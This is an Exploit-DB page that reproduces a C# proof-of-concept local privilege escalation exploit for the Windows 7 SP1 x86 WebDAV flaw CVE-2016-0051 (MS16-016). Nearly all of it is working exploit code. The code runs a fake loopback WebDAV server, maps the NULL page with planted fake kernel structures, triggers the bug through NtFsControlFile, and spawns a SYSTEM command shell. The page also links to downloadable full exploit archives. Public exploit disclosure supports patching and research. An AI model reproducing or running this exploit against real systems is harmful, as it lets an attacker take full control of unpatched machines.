Microsoft Windows 7 SP1 (x86) – ‘WebDAV’ Local Privilege Escalation (MS16-016) (1)

  • 作者: koczkatamas
    日期: 2016-02-10
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39432/
  • /*
    source: https://github.com/koczkatamas/CVE-2016-0051
    
    Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016).
    
    Full Proof of Concept:
    - https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip
    - https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39432-1.zip
    
    
    Elevation of Privilege (SYSTEM) exploit for CVE-2016-0051 (MS16-016) for Windows 7 SP1 x86 (build 7601)
    Creator: Tamás Koczka (@koczkatamas - https://twitter.com/koczkatamas)
    Original source: https://github.com/koczkatamas/CVE-2016-0051
    */
    
    using System;
    using System.Diagnostics;
    using System.IO;
    using System.Linq;
    using System.Net;
    using System.Net.Sockets;
    using System.Runtime.InteropServices;
    using System.Security.Principal;
    using System.Text;
    using System.Threading;
    
    namespace EoP
    {
    class Program
    {
    #region Fake WebDAV server
    
    static void StartFakeWebDavServer(int port)
    {
    new Thread(() =>
    {
    var server = new TcpListener(IPAddress.Loopback, port);
    server.Start();
    while (true)
    {
    using (var client = server.AcceptTcpClient())
    using (var stream = client.GetStream())
    using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1")))
    using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true })
    {
    Func<string> rl = () =>
    {
    var line = reader.ReadLine();
    //Console.WriteLine("< " + line);
    return line;
    };
    
    Action<string> wl = outData =>
    {
    //Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x)));
    writer.Write(outData);
    };
    
    var hdrLine = rl();
    Console.WriteLine("[*] Request: " + hdrLine);
    
    var header = hdrLine.Split(' ');
    while (!string.IsNullOrEmpty(rl())) { }
    
    if (header[0] == "OPTIONS")
    wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
    else if (header[0] == "PROPFIND")
    {
    var body = String.Format(@"
    <?xml version=""1.0"" encoding=""UTF-8""?>
    <D:multistatus xmlns:D=""DAV:"">
    <D:response>
    <D:href>{0}</D:href>
    <D:propstat>
    <D:prop>
    <D:creationdate>{1:s}Z</D:creationdate>
    <D:getcontentlength>{3}</D:getcontentlength>
    <D:getcontenttype>{4}</D:getcontenttype>
    <D:getetag>{5}</D:getetag>
    <D:getlastmodified>{6:R}</D:getlastmodified>
    <D:resourcetype>{8}</D:resourcetype>
    <D:supportedlock></D:supportedlock>
    <D:ishidden>{7}</D:ishidden>
    </D:prop>
    <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
    </D:response>
    </D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim();
    
    wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body);
    }
    else
    wl("HTTP/1.1 500 Internal Server Error\r\n\r\n");
    
    //Console.WriteLine(" =============== END REQUEST =============== ");
    }
    }
    }) { IsBackground = true, Name = "WebDAV server thread" }.Start();
    }
    
    #endregion
    
    #region WinAPI
    
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
    public static extern IntPtr CreateFile(string lpFileName, uint dwDesiredAccess, uint dwShareMode, IntPtr securityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplateFile);
    
    [StructLayout(LayoutKind.Sequential)]
    private class NETRESOURCE
    {
    public uint dwScope = 0;
    public uint dwType = 0;
    public uint dwDisplayType = 0;
    public uint dwUsage = 0;
    public string lpLocalName = null;
    public string lpRemoteName = null;
    public string lpComment = null;
    public string lpProvider = null;
    }
    
    [DllImport("mpr.dll")]
    private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags);
    
    // based on http://www.codeproject.com/Articles/21974/Windows-NT-Native-API-Wrapper-Library
    
    public enum PageProtection : uint
    {
    NOACCESS = 0x01,
    READONLY = 0x02,
    READWRITE = 0x04,
    WRITECOPY = 0x08,
    EXECUTE = 0x10,
    EXECUTE_READ = 0x20,
    EXECUTE_READWRITE = 0x40,
    EXECUTE_WRITECOPY = 0x80,
    GUARD = 0x100,
    NOCACHE = 0x200,
    WRITECOMBINE = 0x400
    }
    
    [Flags]
    public enum MemoryAllocationType : uint
    {
    COMMIT = 0x1000,
    RESERVE = 0x2000,
    FREE = 0x10000,
    PRIVATE = 0x20000,
    MAPPED = 0x40000,
    RESET = 0x80000,
    TOP_DOWN = 0x100000,
    WRITE_WATCH = 0x200000,
    ROTATE = 0x800000,
    LARGE_PAGES = 0x20000000,
    PHYSICAL = 0x400000,
    FOUR_MB_PAGES = 0x80000000
    }
    
    [DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false)]
    public static extern NtStatus NtAllocateVirtualMemory([In] IntPtr processHandle, [In, Out] ref IntPtr baseAddress, [In] uint zeroBits, [In, Out] ref UIntPtr regionSize, [In] MemoryAllocationType allocationType, [In] PageProtection protect);
    
    public enum FileOpenInformation
    {
    Superceded = 0x00000000,
    Opened = 0x00000001,
    Created = 0x00000002,
    Overwritten = 0x00000003,
    Exists = 0x00000004,
    DoesNotExist = 0x00000005
    }
    
    internal enum NtStatus : uint
    {
    SUCCESS = 0x00000000,
    INVALID_PARAMETER_1 = 0xC00000EF,
    INVALID_PARAMETER_2 = 0xC00000F0,
    INVALID_PARAMETER_3 = 0xC00000F1,
    INVALID_PARAMETER_4 = 0xC00000F2,
    // don't care
    }
    
    internal struct IoStatusBlock
    {
    public NtStatus status;
    public InformationUnion Information;
    
    [StructLayout(LayoutKind.Explicit)]
    public struct InformationUnion
    {
    [FieldOffset(0)]
    public FileOpenInformation FileOpenInformation;
    [FieldOffset(0)]
    public uint BytesWritten;
    [FieldOffset(0)]
    public uint BytesRead;
    }
    }
    
    [DllImport("ntdll.dll", ThrowOnUnmappableChar = true, BestFitMapping = false, SetLastError = false, ExactSpelling = true, PreserveSig = true)]
    public static extern NtStatus NtFsControlFile([In] IntPtr fileHandle, [In, Optional] IntPtr Event, [In, Optional] IntPtr apcRoutine, [In, Optional] IntPtr apcContext, [Out] out IoStatusBlock ioStatusBlock, [In] uint fsControlCode, [In, Optional] IntPtr inputBuffer, [In] uint inputBufferLength, [Out, Optional] IntPtr outputBuffer, [In] uint outputBufferLength);
    
    [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    delegate int LoadAndGetKernelBasePtr();
    
    [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
    static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)]string lpFileName);
    
    [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
    static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    
    #endregion
    
    private static byte[] il(params uint[] inp) { return inp.SelectMany(BitConverter.GetBytes).ToArray(); }
    private static byte[] z(int c) { return rep(0, c); }
    private static byte[] rep(byte b, int c) { return Enumerable.Repeat(b, c).ToArray(); }
    private static byte[] fl(byte[][] inp) { return inp.SelectMany(x => x).ToArray(); }
    
    public static void Main(string[] args)
    {
    var shellcodeDll = LoadLibrary("shellcode.dll");
    var shellcodeFunc = GetProcAddress(shellcodeDll, "_shellcode@8");
    
    var loadAndGetKernelBaseFunc = GetProcAddress(shellcodeDll, "_LoadAndGetKernelBase@0");
    var loadAndGetKernelBase = (LoadAndGetKernelBasePtr)Marshal.GetDelegateForFunctionPointer(loadAndGetKernelBaseFunc, typeof(LoadAndGetKernelBasePtr));
    
    var loadResult = loadAndGetKernelBase();
    Console.WriteLine($"[*] LoadAndGetKernelBase result = {loadResult}");
    
    var addr = new IntPtr(0x1000);
    var size = new UIntPtr(0x4000);
    var result = NtAllocateVirtualMemory(new IntPtr(-1), ref addr, 0, ref size, MemoryAllocationType.RESERVE | MemoryAllocationType.COMMIT, PageProtection.READWRITE);
    Console.WriteLine($"[*] NtAllocateVirtualMemory result = {result}, addr = {addr}, size = {size}");
    
    if (result != NtStatus.SUCCESS || loadResult != 0)
    Console.WriteLine("[-] Fail... so sad :(");
    else
    {
    Console.WriteLine("[*] Creating fake DeviceObject, DriverObject, etc structures...");
    var payload = fl(new[] { z(8), /* [0x8]DriverObject=0 */ il(0), z(0x30 - 8 - 4), /* [0x30]StackSize=256 */ il(0x10, 0), z(13 * 4), il((uint)shellcodeFunc.ToInt32()) });
    Marshal.Copy(payload, 1, new IntPtr(1), payload.Length - 1);
    
    var p = new Random().Next(1024, 65535);
    Console.WriteLine("[*] Starting fake webdav server...");
    StartFakeWebDavServer(p);
    
    Console.WriteLine("[*] Calling WNetAddConnection2...");
    var addConnectionResult = WNetAddConnection2(new NETRESOURCE { lpRemoteName = $@"\\127.0.0.1@{p}\folder\" }, null, null, 0);
    Console.WriteLine("[*] WNetAddConnection2 = " + addConnectionResult);
    
    var fileHandle = CreateFile($@"\\127.0.0.1@{p}\folder\file", 0x80, 7, IntPtr.Zero, 3, 0, IntPtr.Zero);
    Console.WriteLine($"[*] CreateFile result = {fileHandle}");
    
    IoStatusBlock ioStatusBlock;
    var inputLen = 24;
    var inputPtr = Marshal.AllocHGlobal(inputLen);
    var outputLen = 4;
    var outputPtr = Marshal.AllocHGlobal(outputLen);
    var controlResult = NtFsControlFile(fileHandle, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, out ioStatusBlock, 0x900DBu, inputPtr, (uint)inputLen, outputPtr, (uint)outputLen);
    Console.WriteLine($"[*] NtFsControlFile result = {controlResult}");
    
    var identity = WindowsIdentity.GetCurrent();
    if (identity?.IsSystem == true)
    {
    Console.WriteLine("[+] Got SYSTEM! Spawning a shell...");
    Process.Start("cmd");
    }
    else
    Console.WriteLine($"[-] Something went wrong, looks like we are not SYSTEM :(, only {identity?.Name}...");
    }
    
    Console.WriteLine("");
    Console.WriteLine("Press ENTER to exit.");
    Console.ReadLine();
    }
    }
    }